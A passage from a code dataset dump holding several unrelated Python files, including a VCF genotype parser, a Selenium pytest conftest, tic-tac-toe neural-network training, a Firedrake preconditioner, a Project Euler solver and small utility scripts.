else: return \"\".join(sampleAlleles)\n \n \n def getGenotypes(self, gtFilters = [], asList = False, withPhase=True, asNumbers = False,\n samples = None, missing = None, allowOnly=None, keepPartial=False, ploidyDict=None):\n \n if not samples: samples = self.sampleNames\n output = {}\n for sample in samples:\n ploidy = ploidyDict[sample] if ploidyDict is not None else None\n output[sample] = self.getGenotype(sample, gtFilters=gtFilters, withPhase=withPhase, asNumbers=asNumbers,\n missing=missing, allowOnly=allowOnly, keepPartial=keepPartial, ploidy=ploidy)\n \n if asList: return [output[sample] for sample in samples]\n \n return output\n \n def getType(self):\n if len(self.REF) == 1:\n if self.ALT == [\".\"]: return \"mono\"\n elif max([len(a) for a in self.ALT]) == 1: return \"SNP\"\n else: return \"indel\"\n else: return \"indel\"\n \n def getGenoField(self, field, samples = None, missing=None):\n if missing is None: missing = \".\"\n if samples is None: samples = self.sampleNames\n fields = []\n for sample in samples:\n try: fields.append(self.genoData[sample][field])\n except: fields.append(missing)\n return fields\n\n\ndef parseHeaderLines(fileObj):\n output = {}\n output[\"contigs\"] = []\n output[\"contigLengths\"] = {}\n for line in fileObj:\n if line.startswith(\"##contig\"):\n contigDataDict = dict([x.split(\"=\") for x in re.split('<|>', line)[1].split(\",\")])\n elements = re.split('=|,|>', line)\n output[\"contigs\"].append(contigDataDict[\"ID\"])\n try: output[\"contigLengths\"][contigDataDict[\"ID\"]] = int(contigDataDict[\"length\"])\n except: output[\"contigLengths\"][contigDataDict[\"ID\"]] = None\n \n if line.startswith(\"#CHROM\"):\n output[\"mainHead\"] = line\n elements = line.split()\n output[\"sampleNames\"] = line.split()[9:]\n output[\"nSamples\"] = len(output[\"sampleNames\"])\n output[\"mainHeaders\"] = elements\n break\n \n return output\n\n\ndef getHeadData(fileName):\n with gzip.open(fileName, \"rt\") if fileName.endswith(\".gz\") else open(fileName, \"rt\") as fileObj:\n return parseHeaderLines(fileObj)\n\n\ndef parseVcfSites(lines, mainHeaders, precomp=True, precompMaxSize=10000, excludeDuplicates=False):\n if precomp:\n precompGenoData = {}\n precompGenoData[\"__maxSize__\"] = precompMaxSize\n precompGenoData[\"__counter__\"] = 0\n else: precompGenoData = None\n \n if excludeDuplicates: lastChrom = lastPos = None\n \n for elements in lines:\n if isinstance(elements, str): elements = elements.split()\n if elements[0][0] == \"#\": continue\n if excludeDuplicates:\n if elements[0] == lastChrom and elements[1] == lastPos: continue\n lastChrom = elements[0]\n lastPos = elements[1]\n yield VcfSite(elements=elements, headers=mainHeaders, precompGenoData=precompGenoData)\n\ndef canFloat(string):\n try: float(string)\n except: return False\n return True\n\ndef parseGenotypeFilterArg(arg):\n try:\n gtfDict = dict([tuple(i.split(\"=\")) for i in arg])\n for key in gtfDict.keys():\n assert key in [\"flag\",\"min\",\"max\", \"siteTypes\", \"gtTypes\", \"samples\"]\n for key in [\"siteTypes\", \"gtTypes\", \"samples\"]:\n if key in gtfDict: gtfDict[key] = gtfDict[key].split(\",\")\n gtfDict[\"min\"] = float(gtfDict[\"min\"]) if \"min\" in gtfDict else -np.inf\n gtfDict[\"max\"] = float(gtfDict[\"max\"]) if \"max\" in gtfDict else np.inf\n return gtfDict\n except: raise ValueError(\"Bad genotype filter specification. See help.\")\n\n###############################################################################################################\nif __name__ == \"__main__\":\n\n\n ### parse arguments\n\n parser = argparse.ArgumentParser()\n parser.add_argument(\"-i\", \"--inFile\", help=\"Input vcf file\", action = \"store\")\n parser.add_argument(\"-o\", \"--outFile\", help=\"Output csv file\", action = \"store\")\n\n #specific samples\n parser.add_argument(\"-s\", \"--samples\", help=\"sample names (separated by commas)\", action='store')\n\n #contigs\n parser.add_argument(\"--include\", help=\"include contigs (separated by commas)\", action='store')\n parser.add_argument(\"--includeFile\", help=\"File of contigs (one per line)\", action='store')\n parser.add_argument(\"--exclude\", help=\"exclude contigs (separated by commas)\", action='store')\n parser.add_argument(\"--excludeFile\", help=\"File of contigs (one per line)\", action='store')\n\n\n #vcf parsing arguments\n parser.add_argument(\"--minQual\", help=\"Minimum QUAL for a site\", type=int, action = \"store\")\n parser.add_argument(\"--gtf\", help=\"Genotype filter. Syntax: flag=X min=X max=X siteTypes=X,X.. gtTypes=X,X.. samples=X,X..\", action = \"append\", nargs = '+')\n\n parser.add_argument(\"--skipIndels\", help=\"Skip indels\", action = \"store_true\")\n parser.add_argument(\"--skipMono\", help=\"Skip monomorphic sites\", action = \"store_true\")\n \n parser.add_argument(\"--ploidy\", help=\"Ploidy for each sample\", action = \"store\", type=int, nargs=\"+\", default=[2])\n parser.add_argument(\"--ploidyFile\", help=\"File with samples names and ploidy as columns\", action = \"store\")\n \n parser.add_argument(\"--field\", help=\"Optional - format field to extract\", action = \"store\")\n parser.add_argument(\"--missing\", help=\"Value to use for missing data\", action = \"store\")\n parser.add_argument(\"--outSep\", help=\"Output separator\", action = \"store\", default = \"\\t\")\n\n args = parser.parse_args()\n\n samples = args.samples\n\n if samples: samples = samples.split(\",\")\n\n include = []\n exclude = []\n\n if args.include: include += args.include.split(\",\")\n if args.exclude: exclude += args.exclude.split(\",\")\n\n if args.includeFile:\n with open(args.includeFile, 'r') as includeFile:\n include += [c.strip() for c in includeFile.read().split(\"\\n\")]\n\n if args.excludeFile:\n with open(args.excludeFile, 'r') as excludeFile:\n exclude += [c.strip() for c in excludeFile.read().split(\"\\n\")]\n\n if len(include) >= 1:\n include = set(include)\n sys.stderr.write(\"{} contigs will be included.\".format(len(include)))\n \n if len(exclude) >= 1:\n exclude = set(exclude)\n sys.stderr.write(\"{} contigs will be excluded.\".format(len(exclude)))\n \n gtFilters = [parseGenotypeFilterArg(gtf) for gtf in args.gtf] if args.gtf else []\n \n ##########################################################################################################################\n\n ### open files\n\n if args.inFile: inFile = gzip.open(args.inFile, \"rt\") if args.inFile.endswith(\".gz\") else open(args.inFile, \"rt\")\n else: inFile = sys.stdin\n\n\n if args.outFile: outFile = gzip.open(args.outFile, \"w\") if args.outFile.endswith(\".gz\") else open(args.outFile, \"w\")\n else: outFile = sys.stdout\n \n #header data\n headData = parseHeaderLines(inFile)\n \n #check specified samples are in first file. Otherwise use this entire set \n if samples:\n for sample in samples: assert sample in headData[\"sampleNames\"], \"Specified sample name not in VCF header.\"\n else: samples = headData[\"sampleNames\"]\n \n if args.ploidyFile is not None:\n with open(args.ploidyFile, \"rt\") as pf: ploidyDict = dict([[s[0],int(s[1])] for s in [l.split() for l in pf]])\n else:\n ploidy = args.ploidy if len(args.ploidy) != 1 else args.ploidy*len(samples)\n assert len(ploidy) == len(samples), \"Incorrect number of ploidy values supplied.\"\n ploidyDict = dict(zip(samples,ploidy))\n\n\n ##########################################################################################################################\n\n outFile.write(args.outSep.join([\"#CHROM\", \"POS\"] + samples) + \"\\n\")\n \n for vcfSite in parseVcfSites(inFile, headData[\"mainHeaders\"]):\n if (exclude and vcfSite.CHROM in exclude) or (include and vcfSite.CHROM not in include): continue\n if args.skipMono and vcfSite.getType() is \"mono\": continue\n if args.minQual and canFloat(vcfSite.QUAL) and float(vcfSite.QUAL) < args.minQual: continue\n if args.field is not None: output = vcfSite.getGenoField(args.field,samples=samples, missing=args.missing)\n else:\n allowed=[\"A\",\"C\",\"G\",\"T\"] if args.skipIndels else None\n output = vcfSite.getGenotypes(gtFilters,asList=True,withPhase=True,samples=samples,missing=args.missing,\n allowOnly=allowed,keepPartial=False,ploidyDict=ploidyDict)\n outFile.write(args.outSep.join([vcfSite.CHROM, str(vcfSite.POS)] + output) + \"\\n\")\n \n outFile.close()\n","sub_path":"07.fd/parseVCF.py","file_name":"parseVCF.py","file_ext":"py","file_size_in_byte":13434,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"37394777","text":"#!/usr/bin/python\n#\n# Copyright 2018-2022 Polyaxon, Inc.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\nimport atexit\nimport os\nimport threading\n\n\nclass BaseWorker:\n NAME = None\n\n def __init__(self):\n assert self.NAME, \"Worker class `{}` must have a valid name.\".format(\n self.__class__.__name__\n )\n self._lock = threading.Lock()\n self._thread = None\n self._thread_for_pid = None\n\n def is_alive(self):\n if self._thread_for_pid != os.getpid():\n return False\n return bool(self._thread and self._thread.is_alive())\n\n def is_running(self):\n if self.is_alive():\n return\n self.start()\n\n def start(self):\n self._lock.acquire()\n try:\n if not self.is_alive():\n self._thread = threading.Thread(target=self._target, name=self.NAME)\n self._thread.setDaemon(True)\n self._thread.start()\n self._thread_for_pid = os.getpid()\n finally:\n self._lock.release()\n atexit.register(self.atexit)\n\n def atexit(self):\n raise NotImplementedError(\"Worker must implement `atexit` function.\")\n\n def _target(self):\n raise NotImplementedError(\"Worker must implement `target` function.\")\n","sub_path":"core/polyaxon/client/workers/base_worker.py","file_name":"base_worker.py","file_ext":"py","file_size_in_byte":1800,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"138259169","text":"import pytest\nimport allure\nfrom selenium import webdriver\nimport datetime\nimport pip\nimport platform\nimport xdist\nimport selenium\nimport os\n\n\ndef pytest_addoption(parser):\n parser.addoption('--browser', action='store', default='chrome', help='Available: chrome, firefox, opera')\n parser.addoption('--executor', action='store', default='local', help='Choose execute: local, selenoid')\n parser.addoption('--vnc', action='store', default='disable', help='enableVNC: enable, disable')\n parser.addoption('--video', action='store', default='disable', help='Saving Video: enable, disable')\n\n\n@pytest.hookimpl(hookwrapper=True, tryfirst=True)\ndef pytest_runtest_makereport(item, call):\n outcome = yield\n rep = outcome.get_result()\n setattr(item, \"rep_\" + rep.when, rep)\n return rep\n\n\n@pytest.fixture(scope='function')\ndef browser(request):\n with allure.step('Запускаем браузер'):\n if request.config.getoption('--executor') == 'selenoid':\n\n capabilities = {\n \"browserName\": request.config.getoption('--browser'),\n \"enableVNC\": False if request.config.getoption('--vnc') == 'disable' else True,\n \"enableVideo\": False if request.config.getoption('--video') == 'disable' else True,\n \"env\": [\"TZ=Europe/Moscow\"]\n }\n\n browser = webdriver.Remote(command_executor=\"http://localhost:4444/wd/hub\",\n desired_capabilities=capabilities)\n\n elif request.config.getoption('--executor') == 'local':\n if request.config.getoption('--browser') == 'chrome':\n browser = webdriver.Chrome()\n\n elif request.config.getoption('--browser') == 'firefox':\n browser = webdriver.Firefox()\n\n elif request.config.getoption('--browser') == 'opera':\n browser = webdriver.Opera()\n browser.set_window_position(0, 0)\n browser.set_window_size(1920, 1080)\n browser.implicitly_wait(10)\n yield browser\n\n if request.config.getoption('--alluredir') == 'allure_results':\n env_file = open('./allure_results/environment.properties', 'w+')\n env_file.write(f'OS.version={platform.platform()}'\n f'\\nPython.version={platform.python_version()}'\n f'\\nPytest.version={pytest.__version__}'\n f'\\nSelenium.version={selenium.__version__}'\n f'\\nPip.version={pip.__version__}'\n f'\\nXdist.version={xdist.__version__}'\n f'\\nExecutor.type={request.config.getoption(\"--executor\")}'\n f'\\nBrowser={request.config.getoption(\"--browser\")}')\n env_file.close()\n\n if request.node.rep_call.failed:\n try:\n browser.execute_script(\"document.body.bgColor = 'white';\")\n date = str(datetime.datetime.now().strftime(\"%d-%m-%Y_%H%M%S\"))\n browser.save_screenshot(f'./screenshots/{date}_{request.function.__name__}.png')\n allure.attach(browser.get_screenshot_as_png(),\n name=request.function.__name__,\n attachment_type=allure.attachment_type.PNG)\n finally:\n pass\n\n with allure.step('Закрываем браузер'):\n browser.quit()\n","sub_path":"conftest.py","file_name":"conftest.py","file_ext":"py","file_size_in_byte":3334,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"162640032","text":"import click\n\nfrom game import play, simulate\nfrom players import ConsolePlayer, MiniMaxPlayer, NNPlayer, ReinforcementPlayer, RandomPlayer, MiniMaxPlayerNN, \\\n MiniMaxPlayerNN2\nfrom tictactoe_state import TicTacToeState\n\n\n@click.command('connect4')\n@click.option('--simulations', '-s',\n default=5000,\n help='How many plays to simulate for training.')\n@click.option('--mode', '-m',\n default='reinforcement',\n type=click.Choice(['console', 'window', 'simulation', 'reinforcement']),\n help='Starts game in a terminal or a window.')\n@click.option('--ai-player', '-p',\n default='cnn2',\n type=click.Choice(['nn', 'minimax', 'cnn', 'cnn2']),\n help='Type of ai player')\n@click.option('--epochs', '-e',\n default=3,\n help='Number of epochs to train. (only for ai-player=nn)')\n@click.option('--lookahead', '-l',\n default=1,\n help='Lookahead depth for the minimax algorithm.'\n ' (only for ai-player=minimax)')\ndef tictactoe(simulations, mode, ai_player, epochs, lookahead):\n state = TicTacToeState()\n\n if ai_player == 'nn':\n from tictactoe_model import TicTacToeModel\n model = TicTacToeModel()\n plays = simulate(state, simulations)\n model.train(plays, epochs=epochs)\n autoplayer = NNPlayer(model, 'DNN')\n elif ai_player == 'cnn':\n from tictactoe_model_cnn import TicTacToeModelCnn\n model = TicTacToeModelCnn()\n plays = simulate(state, simulations)\n model.train(plays, epochs=epochs)\n autoplayer = NNPlayer(model, 'CNN')\n elif ai_player == 'cnn2':\n from tictactoe_model_cnn2 import TicTacToeModelCnn2\n model = TicTacToeModelCnn2()\n plays = simulate(state, simulations, player1=RandomPlayer(), player2=RandomPlayer())\n model.train(plays, epochs=epochs)\n autoplayer = ReinforcementPlayer(model, 'CNN2')\n else:\n autoplayer = MiniMaxPlayer(lookahead=lookahead)\n\n if mode == 'console':\n states, _ = play(state, ConsolePlayer(), autoplayer)\n print(states[-1].state)\n elif mode == 'simulation':\n player1 = autoplayer\n\n # from tictactoe_model_cnn import TicTacToeModelCnn\n # cnn_model = TicTacToeModelCnn()\n # cnn_plays = simulate(state, simulations)\n # cnn_model.train(cnn_plays, epochs=epochs)\n # player2 = NNPlayer(cnn_model, 'CNN')\n player2 = RandomPlayer()\n\n plays = simulate(state, 50, player1=player1, player2=player2)\n player1_wins, player2_wins, draws = game_statistics(plays)\n\n plays = simulate(state, 50, player1=player2, player2=player1)\n p2, p1, d = game_statistics(plays)\n player1_wins += p1\n player2_wins += p2\n draws += d\n\n print(f'{player1} vs. {player2}')\n print(f'{player1} wins: {player1_wins}')\n print(f'{player2} wins: {player2_wins}')\n print(f'Draws: {draws}')\n elif mode == 'reinforcement':\n # initial training with random plays (not really necessary)\n from tictactoe_model import TicTacToeModel\n model = TicTacToeModel()\n plays = simulate(state, simulations, player1=RandomPlayer(), player2=RandomPlayer())\n model.train(plays, epochs=epochs)\n nnplayer = NNPlayer(model, 'DNN')\n autoplayer = MiniMaxPlayer(1)\n\n player1 = autoplayer\n # player2 = RandomPlayer()\n\n for _ in range(10):\n # training through self-play\n # plays = simulate(state, 100, player1=player1, player2=player1)\n # print_game(plays[0])\n # print_game(plays[1])\n # model.train(plays, epochs=epochs)\n\n # benchmark vs random\n duel_random_tictactoe(player1)\n\n else:\n from tictactoe_window import TicTacToeWindow\n state = TicTacToeState()\n state = state.move(autoplayer.next_action(state))\n TicTacToeWindow(autoplayer=autoplayer, state=state).show()\n\n\ndef duel_random_tictactoe(player1):\n player2 = MiniMaxPlayer(2)\n state = TicTacToeState()\n duel(player1, player2, state)\n\n\ndef duel(player1, player2, state):\n plays = simulate(state, 50, player1=player1, player2=player2)\n print_game(plays[0])\n\n player1_wins, player2_wins, draws = game_statistics(plays)\n plays = simulate(state, 50, player1=player2, player2=player1)\n print_game(plays[0])\n\n p2, p1, d = game_statistics(plays)\n player1_wins += p1\n player2_wins += p2\n draws += d\n print(f'{player1} vs. {player2}')\n print(f'{player1} wins: {player1_wins}')\n print(f'{player2} wins: {player2_wins}')\n print(f'Draws: {draws}')\n\n\ndef game_statistics(plays):\n player1_wins = [p[1] for p in plays].count(1)\n player2_wins = [p[1] for p in plays].count(-1)\n draws = [p[1] for p in plays].count(0)\n\n return player1_wins, player2_wins, draws\n\n\ndef print_game(play):\n for state in play[0]:\n print(state, end=', ')\n print()\n\n\nif __name__ == '__main__':\n tictactoe()\n","sub_path":"tictactoe.py","file_name":"tictactoe.py","file_ext":"py","file_size_in_byte":5076,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"91596412","text":"\"\"\"\nThis is a test example of configuration file for CRAB-3 client\n\"\"\"\n\nfrom WMCore.Configuration import Configuration\n\nconfig = Configuration()\n\n## General options for the client\nconfig.section_(\"General\")\nconfig.General.standalone = True\n\n#\n# To enable direct submission, uncomment the below and turn\n# config.General.enableGsissh to false.\n#\n# config.General.condorPool = \"glidein.unl.edu\"\n# config.General.condorScheddList = [\"glidein.unl.edu\"]\n#\n\nconfig.General.enableGsissh = True\nconfig.section_(\"BossAir\")\nconfig.BossAir.remoteUserHost = \"submit-5.t2.ucsd.edu\"\n\nconfig.General.requestName = 'bbockelm_crab3_2'\nconfig.General.serverUrl = 'cmsweb.cern.ch'\n\n## Specific option of the job type\nconfig.section_(\"JobType\")\nconfig.JobType.pluginName = 'Analysis'\nconfig.JobType.psetName = 'pset.py'\n\n## Specific data options\nconfig.section_(\"Data\")\nconfig.Data.inputDataset = '/GenericTTbar/HC-CMSSW_5_3_1_START53_V5-v1/GEN-SIM-RECO'\nconfig.Data.publishDataName = 'crab_bbockelm_3'\nconfig.Data.unitsPerJob = 50\n\n## User options\nconfig.section_(\"User\")\nconfig.User.email = ''\n\nconfig.section_(\"Site\")\nconfig.Site.storageSite = 'T2_US_Nebraska'\n","sub_path":"example/crabConfig.py","file_name":"crabConfig.py","file_ext":"py","file_size_in_byte":1150,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"420657260","text":"import os\nimport sys\nfrom PyQt5 import QtWidgets\n\ndef load_ressources():\n if os.path.isfile(r\"ressources/ressources.qrc\"):\n os.system(r\"pyrcc5 ressources/ressources.qrc -o ressources/ressources.py\")\n\n\nif __name__ == \"__main__\":\n APP = 0\n if QtWidgets.QApplication.instance():\n APP = QtWidgets.QApplication.instance()\n else:\n APP = QtWidgets.QApplication(sys.argv)\n APP.setStyle('fusion')\n if True:\n load_ressources()\n if True:\n from src.gui import GUI\n window = GUI()\n window.show()\n\n #if APP:\n # sys.exit(APP.quit())\n sys.exit(APP.exec_())","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":634,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"169460612","text":"# -*- coding:utf-8 -*-\r\n\r\n# 图片二值化\r\nfrom PIL import Image\r\n\r\nimg = Image.open('test2.jpg')\r\n\r\n# 模式L”为灰色图像，它的每个像素用8个bit表示，0表示黑，255表示白，其他数字表示不同的灰度。\r\nImg = img.convert('L')\r\nImg.save(\"testA.jpg\")\r\n\r\n# 自定义灰度界限，大于这个值为黑色，小于这个值为白色\r\nthreshold = 180\r\n\r\ntable = []\r\nfor i in range(256):\r\n if i < threshold:\r\n table.append(0)\r\n else:\r\n table.append(1)\r\n\r\n# 图片二值化\r\nphoto = Img.point(table, '1')\r\nphoto.save(\"testB.jpg\")\r\n","sub_path":"BlankW.py","file_name":"BlankW.py","file_ext":"py","file_size_in_byte":578,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"527300433","text":"from xlrd import open_workbook\n\nclass Company(object):\n def __init__(self, id, comp_name, comp_industry, comp_year, address, address2, phone):\n self.id = id\n self.comp_name = comp_name\n self.comp_industry = comp_industry\n self.comp_year = comp_year\n self.address = address\n self.address2 = address2\n self.phone = phone\n\n def __str__(self):\n return(\"Company object:\\n\"\n \" No. = {0}\\n\"\n \" 병역지정업체명 = {1}\\n\"\n \" 업종구분 = {2}\\n\"\n \" 기업규모 = {3}\\n\"\n \" 선정년도 = {4} \\n\"\n \" 소재지 = {5}\"\n \" 세부주소 = {6}\"\n \" 전화번호 = {7}\"\n .format(self.id, self.comp_name, self.comp_industry,\n self.comp_year, self.address, self.address2, self.phone))\n\nwb = open_workbook('C:\\\\Users\\\\Joon\\\\Documents\\\\GitHub\\\\sortsort\\\\sort.xlsx')\nfor sheet in wb.sheets():\n number_of_rows = sheet.nrows\n number_of_columns = sheet.ncols\n\n items = []\n\n rows = []\n for row in range(0, number_of_rows):\n values = []\n for col in range(number_of_columns):\n value = (sheet.cell(row,col).value)\n try:\n value = str(int(value))\n except ValueError:\n pass\n finally:\n values.append(value)\n item = Company(*values)\n items.append(item)\n\n\n\ndef searchbyAddress():\n a = input(\"주소: \")\n for item in items:\n dodo = item.address\n dodo1 = dodo.split()\n if dodo1[2] == a:\n print (item.comp_name + \" \" + item.address)\n #print (item.comp_name)\n #print (\"{0} {1} {2}\".format(item.comp_name,item.address,item.address2))\n\ndef searchbyName():\n a = input(\"회사명: \")\n for item in items:\n dodo = item.comp_name\n if dodo == a:\n print (item.comp_industry + \" \" + item.address + \" \" + item.address2)\n\ndef searchbyState():\n a = input(\"구 이름: \")\n for item in items:\n dodo = item.address\n dodo1 = dodo.split()\n if dodo1[1] == a:\n print (item.comp_industry + \" \" + item.comp_name + \" \" + item.address)\n print ()\n\ndef writeHTML():\n htmlfile = open(\"C:\\\\Users\\\\Joon\\\\Documents\\\\GitHub\\\\sortsort\\\\html.txt\", 'a')\n for item in items:\n htmlfile.write(\"\" + item.comp_name + \"\" + item.comp_industry + \"\" + item.comp_year + \"\" + item.address + \" \" + item.address2 + \"\" + item.phone + \"\\n\")\n\n\n htmlfile.close()\n\nwriteHTML()\n","sub_path":"sorting.py","file_name":"sorting.py","file_ext":"py","file_size_in_byte":2756,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"17457495","text":"from firedrake.preconditioners.base import PCBase\nfrom firedrake.petsc import PETSc\nimport copy\nfrom firedrake import Function\nfrom firedrake import*\n\nclass PCD(PCBase):\n\n needs_python_pmat = True\n\n def initialize(self, pc):\n from firedrake import TrialFunction, TestFunction, Function, DirichletBC, dx, \\\n Mesh, inner, grad, split, Constant, parameters\n from firedrake.assemble import allocate_matrix, create_assembly_callable\n prefix = pc.getOptionsPrefix() + \"pcd_\"\n\n _, P = pc.getOperators()\n context = P.getPythonContext()\n\n test, trial = context.a.arguments()\n\n Q = test.function_space()\n\n self.Q = Q\n\n p = TrialFunction(Q)\n q = TestFunction(Q)\n\n nu = context.appctx.get(\"nu\", 1.0)\n self.nu = nu\n\n mass = Constant(1.0/self.nu)*p*q*dx\n\n stiffness = inner(grad(p), grad(q))*dx\n \n state = context.appctx[\"state\"]\n\n velid = context.appctx[\"velocity_space\"]\n\n opts = PETSc.Options()\n \n default = parameters[\"default_matrix_type\"]\n Mp_mat_type = opts.getString(prefix+\"Mp_mat_type\", default)\n Kp_mat_type = opts.getString(prefix+\"Kp_mat_type\", default)\n self.Fp_mat_type = opts.getString(prefix+\"Fp_mat_type\", \"matfree\")\n\n Mp = assemble(mass, form_compiler_parameters=context.fc_params,\n mat_type=Mp_mat_type,\n options_prefix=prefix + \"Mp_\")\n \n \n Kp = assemble(stiffness, form_compiler_parameters=context.fc_params,\n mat_type=Kp_mat_type,\n options_prefix=prefix + \"Kp_\")\n\n\n Mksp = PETSc.KSP().create(comm=pc.comm)\n Mksp.incrementTabLevel(1, parent=pc)\n Mksp.setOptionsPrefix(prefix + \"Mp_\")\n Mksp.setOperators(Mp.petscmat)\n Mksp.setUp()\n Mksp.setFromOptions()\n self.Mksp = Mksp\n\n Kksp = PETSc.KSP().create(comm=pc.comm)\n Kksp.incrementTabLevel(1, parent=pc)\n Kksp.setOptionsPrefix(prefix + \"Kp_\")\n Kksp.setOperators(Kp.petscmat)\n Kksp.setUp()\n Kksp.setFromOptions()\n self.Kksp = Kksp\n \n u0 = split(state)[velid]\n fp = Constant(self.nu)*inner(grad(p), grad(q))*dx + inner(u0, grad(p))*q*dx\n\n self.Fp = allocate_matrix(fp, form_compiler_parameters=context.fc_params,\n mat_type=self.Fp_mat_type,\n options_prefix=prefix + \"Fp_\")\n\n self._assemble_Fp = create_assembly_callable(fp, tensor=self.Fp,\n form_compiler_parameters=context.fc_params,\n mat_type=self.Fp_mat_type)\n self._assemble_Fp()\n\n Fpmat = self.Fp.petscmat\n self.workspace = [Fpmat.createVecLeft() for i in (0, 1)]\n self.tmp = Function(self.Q)\n \n def update(self, pc):\n self._assemble_Fp()\n\n\n def apply(self, pc, x, y):\n a, b = self.workspace\n \n self.Mksp.solve(x, y)\n y.copy(a)\n\n self.Fp.petscmat.mult(a, b)\n \n self.Kksp.solve(b, a)\n\n y.axpy(1.0, a)\n y.scale(-1.0)\n\n def applyTranspose(self, pc, x, y):\n pass\n","sub_path":"Lid_driven_cavity/steady/2D/FPCD.py","file_name":"FPCD.py","file_ext":"py","file_size_in_byte":3276,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"369477316","text":"#!/usr/bin/env python\n\n# The Expat License\n#\n# Copyright (c) 2017, Shlomi Fish\n#\n# Permission is hereby granted, free of charge, to any person obtaining a copy\n# of this software and associated documentation files (the \"Software\"), to deal\n# in the Software without restriction, including without limitation the rights\n# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n# copies of the Software, and to permit persons to whom the Software is\n# furnished to do so, subject to the following conditions:\n#\n# The above copyright notice and this permission notice shall be included in\n# all copies or substantial portions of the Software.\n#\n# THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\n# SOFTWARE.\n\n\nimport sys\nfrom six import print_\n# import functools\n\nif sys.version_info > (3,):\n long = int\n xrange = range\n\nc = [[0], [1]]\n\n\ndef E(x, y):\n if y <= 1:\n return y\n if y <= 3000:\n return c[y][x % y]\n return 1 + E(y, x % y)\n\n\nfor y in xrange(2, 3001):\n c.append([])\n arr = c[y]\n for m in xrange(y):\n arr.append(E(y, m)+1)\n\n\n# @functools.lru_cache(maxsize=128*1024)\ndef R(x, y):\n return 1+G(y, x % y)\n\n\ndef G(x, y):\n if y <= 1:\n return y\n return R(x, y)\n\n\ndef S(n):\n ret = 0\n # For x == y\n ret += n\n for x in xrange(1, n+1):\n mods = [0, 1]\n for m in xrange(1, x):\n mods.append(mods[-1] + 1 + E(x, m))\n print_(\"x = %d ; m1 = %d ; m0 = %d\" % (x, mods[-1], mods[-1]-x))\n max_ = n - n % x\n t = max_ // x - 1\n delta = t*((mods[-1] << 1))+((mods[n-max_+1]-1) << 1)+n-x\n ret += delta\n if ((x & 0x3FF) == 0):\n print_(\"x = %d ; ret = %d\" % (x, ret))\n sys.stdout.flush()\n if False:\n d = 0\n for y in xrange(x+1, n+1):\n d += E(x, y) + E(y, x)\n print_(\"x = %d ; d = %d ; delta = %d\" % (x, d, delta))\n print_(\"n = %d ; ret = %d\" % (n, ret))\n return ret\n\n# if False:\n# d = 0\n# for x in xrange(y+1, n+1):\n# d += E(x, y) + E(y, x)\n# print_(\"y = %d ; d = %d ; delta = %d\" % (y, d, delta))\n\n\ndef main():\n S(10)\n S(100)\n S(5000000)\n\n\nmain()\n","sub_path":"project-euler/433/euler_433_v3.py","file_name":"euler_433_v3.py","file_ext":"py","file_size_in_byte":2638,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"198003599","text":"import random\n\ndef choose():\n words=['Computer','Rainbow','Science','Programming','player']\n pick=random.choice(words)\n return pick\n\ndef jumble(word):\n jumbled=\"\".join(random.sample(word,len(word)))\n return jumbled\n\ndef thank(p1n,p2n,p1,p2):\n print(p1n,\"Your score is\",p1)\n print(p2n,\"your score is\",p2)\n print(\"Have a nice day\")\n\ndef play():\n p1name=input(\"Enter the name 1\")\n p2name=input(\"Enter the name 2 \")\n pp1=0\n pp2=0\n turn=0\n while(1):\n picked_word=choose()\n qn=jumble(picked_word)\n print(qn)\n if turn%2==0:\n print(p1name,\"This is your turn\")\n ans=input(\"Whats on my mind?\")\n if ans==picked_word:\n pp1=pp1+1\n print(pp1,\"is your score\")\n else:\n print(\"Better luck next time,I thought the word :\",picked_word)\n c=input(\"Do you want to continue\")\n if c==0:\n thank(p1name,p2name,pp1,pp2)\n break\n else:\n print(p2name,\"This is your turn\")\n ans = input(\"Whats on my mind?\")\n if ans == picked_word:\n pp2 = pp2 + 1\n print(pp2, \"is your score\")\n else:\n print(\"Better luck next time,I thought the word :\", picked_word)\n c = input(\"Do you want to continue\")\n if c == 0:\n thank(p1name, p2name, pp1, pp2)\n break\n turn=turn+1\nplay()\n","sub_path":"guesstheword.py","file_name":"guesstheword.py","file_ext":"py","file_size_in_byte":1605,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"112096962","text":"import numpy as np\nfrom nltk.tokenize import wordpunct_tokenize\nfrom collections import Counter\nimport os \n\n## Take a directory as input, read all files in it and tokenize the text corpus\n\n\n\ndef tokenize(directory,exclude_files):\n\tfull_content = ''\n\tfor _file in 